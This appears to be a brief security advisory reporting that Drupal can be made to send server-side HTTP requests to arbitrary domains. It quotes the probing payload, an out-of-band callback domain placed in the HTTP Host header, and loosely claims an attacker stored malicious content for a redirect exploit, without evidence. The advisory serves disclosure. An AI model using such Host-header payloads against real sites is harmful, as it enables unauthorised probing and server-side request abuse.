## Vendor: https://www.drupal.org/  
## Software: https://www.drupal.org/download  
## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http  
  
## Description:  
It is possible to induce the application to perform server-side HTTP  
requests to arbitrary domains.  
The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was  
submitted in the HTTP Host header.  
The application performed an HTTP request to the specified domain. For  
the second test, the attacker stored a response  
on the server with malicious content. This can be bad for a lot of  
users of this system if the attacker spreads a malicious URL  
and sends it by email etc. By using a redirect exploit.
